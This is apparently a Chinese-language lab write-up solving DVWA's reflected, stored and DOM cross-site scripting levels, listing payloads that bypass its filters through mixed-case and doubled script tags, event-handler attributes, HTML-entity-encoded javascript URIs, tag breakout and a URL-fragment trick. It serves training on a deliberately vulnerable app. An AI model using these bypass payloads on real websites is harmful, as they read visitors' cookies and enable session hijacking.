web-xss-dvwa

目录

xss(reflected)

low

medium

high

xss(store)

low

medium

high

xss(dom)

low

medium

high


xss(reflected)

low

没有什么过滤,直接用最普通的标签就可以了

复制代码
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E#

medium

大小写绕过

复制代码
?name=<SCript>alert(document.cookie)<%2FSCript>

双写绕过

复制代码
?name=<sc<script>ript>alert(document.cookie)<%2Fscript>

high

过滤规则:

name = preg_replace( '/\<(.*)s(.* )c(.*)r(.* )i(.*)p(.*)t/i', '', _GET[ 'name' ] ); 对任何模式的script都过滤了。

①换标签进行过滤

知识点:

autofocus 属性是一个 boolean(布尔) 属性。

autofocus 属性规定当页面加载时按钮应当自动地获得焦点。

payload:

复制代码
?name=<a href="x" onfocus="alert(document.cookie)"; autofocus="">xss</a>

②进行html编码

复制代码
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#41;">test</a>

gpt直接转就可以了

xss(store)

low

直接再内容框中输入基本的xss语言就可以了

复制代码
<script>alert(document.cookie)</script>

medium

先修改name的长度,让其写的下xss语句。再medium难度中,只能将代码写在name,写在内容里面是实现不了的

大小写绕过

复制代码
<SCript>alert(document.cookie)</SCript>

双写绕过

复制代码
<scr<script>ipt>alert(document.cookie)</script>

high

先修改name的长度,让其写的下xss语句。再high难度中,只能将代码写在name,写在内容里面是实现不了的

high难度要换标签才能实现,script完全被过滤掉了

复制代码
<a href="x" onclick=alert(document.cookie)>xss</a>

<img src="x" onclick=alert(document.cookie)>

xss(dom)

low

直接写上最普通的xss语句就可以了

复制代码
?default=<script>alert(document.cookie)</scrip

medium

select标签中只允许内嵌option标签,a、img标签嵌套再option标签中是无法实现器作用的。所以要先闭合option标签,然后再闭合select标签,这样子就可以了

复制代码
?default="></option></select><a href="x" onclick=alert(1)>xss</a>

high

源代码

这里采用了白名单过滤的方法,只允许default值为 French English German Spanish 其中一个。

代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行

php 复制代码
<?php
 
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
 
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
 
?> 

payload:

复制代码
?default=English#<script>alert(document.cookie)</script>
相关推荐
姑苏洛言8 分钟前
搭建一款结合传统黄历功能的日历小程序
前端·javascript·后端
你的人类朋友1 小时前
🤔什么时候用BFF架构?
前端·javascript·后端
知识分享小能手2 小时前
Bootstrap 5学习教程,从入门到精通,Bootstrap 5 表单验证语法知识点及案例代码(34)
前端·javascript·学习·typescript·bootstrap·html·css3
一只小灿灿2 小时前
前端计算机视觉:使用 OpenCV.js 在浏览器中实现图像处理
前端·opencv·计算机视觉
前端小趴菜052 小时前
react状态管理库 - zustand
前端·react.js·前端框架
Jerry Lau2 小时前
go go go 出发咯 - go web开发入门系列(二) Gin 框架实战指南
前端·golang·gin
我命由我123453 小时前
前端开发问题:SyntaxError: “undefined“ is not valid JSON
开发语言·前端·javascript·vue.js·json·ecmascript·js
0wioiw03 小时前
Flutter基础(前端教程③-跳转)
前端·flutter
落笔画忧愁e3 小时前
扣子Coze纯前端部署多Agents
前端